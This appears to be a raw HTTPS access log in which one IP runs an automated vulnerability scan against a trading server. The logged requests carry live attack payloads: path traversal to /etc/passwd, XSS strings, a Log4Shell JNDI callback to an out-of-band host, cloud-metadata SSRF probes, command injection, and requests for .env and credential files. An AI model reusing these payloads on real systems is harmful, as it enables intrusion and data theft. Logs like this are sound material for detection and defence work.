[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appmonitor/protected/selector/server_file/files?folder=/&suffix HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //express-graphql HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/events/definitions/validate HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /magmi/web/js/magmi_utils.js HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /telescope/requests HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downloader/ HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Business/ HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.production HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.magnolia/admincentral HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dev/tests/functional/credentials.xml.dist HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/manifest.json HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ADSearch.cc?methodToCall=search HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/9 HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lucee/lucees3ezf%3cimg%20src%3da%20onerror%3dalert('380CxxTka4mtEvXg3x4nykHTXDk')%3elujb7/admin/imgProcess.cfm HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/install/ HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authorization.do HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /two_fact_auth HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/V1/store/storeConfigs HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /secure/Signup.jspa HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/JMImplementation:type=MBeanServerDelegate/MBeanServerId HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jupyter/hub/lti/launch HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mailscanner/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /doc/CHANGELOG.txt HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.do HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /configurations HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /var/data/data.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login_page.php HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kylin/api/user/authentication HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/etc/local.xml.additional HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env.test.js HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/kibana HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iam/login HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/firewall.log HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apiclient/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error.txt HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jsp/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apiclient/ember/Login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pics/logo_70x29px.gif HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927394583 HTTP/1.1" -
[09/Jan/2026:10:52:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927406894 HTTP/1.1" -
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://aws.oast.online/computeMetadata/v1/project/ HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://aws.oast.online/v1/metadata/private-networks HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://aws.oast.online/openstack/latest HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://alibaba.oast.pro/dynamic/instance-identity/document HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/service?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s/login HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_matrix/federation/v1/version HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../WEB-INF/web.xml;x= HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htaccess_for_page_not_found_redirects.htaccess HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /horizon/api/stats HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/jsonws HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/members-list/admin/view/user.php?page=%22%3E%3Cimg%20src%20onerror=alert(document.domain)%20x HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /stat.jsp?cmd=chcp+437+%7c+dir HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.json/FNZ.png HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /msa/../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /graphql?query=+{customerDownloadableProducts+{+items+{+date+download_url}}+} HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/tests.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://aws.oast.online/metadata/v1.json HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /doc/README.txt HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax-api/2.0/preview/mlflow/experiments/get?experiment_id=0 HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://aws.oast.online/metadata/instance?api-version=2021-02-01 HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/new HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /demo HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /editor_tools/module?type=files/admin\"><script>alert(document.domain)</script>&params=filetype=images HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /QSA/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?page=..%2f..%2f..%2f..%2f..%2fwindows/win.ini HTTP/1.1" 3426
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/GetProductVersion HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/servlet/mstrWebAdmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kylin/api/user/authentication HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/admin/master/console/ HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/geojson?url=${jndi:ldap://${:-656}${:-483}.${hostName}.url.d5g6sfahausljekepl20znixs775u8na6.oast.site} HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hub/login HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authorization.do HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mifs/j_spring_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/login HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /filr/login HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jk-status HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.magnolia/admincentral HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/10 HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/ HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iNotes/Forms5.nsf HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /welcome/ HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/json HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/thumb.php?dir=http/.....///.....///config/config_db.php HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pki/images/keyManager_title.ico HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /minio/login HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /clusterList HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.hgignore HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //kurd.html HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/sqlite.db HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owa/auth/logon.aspx?replaceCurrent=1&url=https://trade.kingston.com.hk:443/ecp HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=home HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /minio/webrpc HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/JMImplementation:type=MBeanServerDelegate/SpecificationName HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/V1/store/storeViews HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /feed/ShowImage.do;.js.jsp?type&imgName=../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/login.cgi HTTP/1.1" 199
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/error.log HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /MUP/ HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dev/tests/functional/etc/config.xml.dist HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /skin/frontend/default/default/css/styles.css HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.html HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /plugin/add HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lang/log/system.log HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://aws.oast.online/latest/meta-data/ HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lam/templates/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/matrix/server HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lucee/admin/server.cfm HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /file=C:%5CWindows%5Cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /start.html HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //gql HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /store/app/etc/local.xml HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://aws.oast.online/opc/v1/instance HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env.dev.js HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254/computeMetadata/v1/project/ HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/events/notifications/test HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254/v1/metadata/private-networks HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssf/s/portalLogin HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /qcbin/ HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/set_new_config?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://100.100.100.200/dynamic/instance-identity/document HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lcms/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jexws/jexws.jsp?ppp=type+C%3A%2FWindows%2Fwin.ini HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mics/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254/openstack/latest HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ftps.ini HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/guestimage.html HTTP/1.1" 199
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.production.local HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mifs/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.json/FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /control/userimage.html HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /monitorix-cgi/monitorix.cgi?mode=localhost&graph=all&when=1day HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
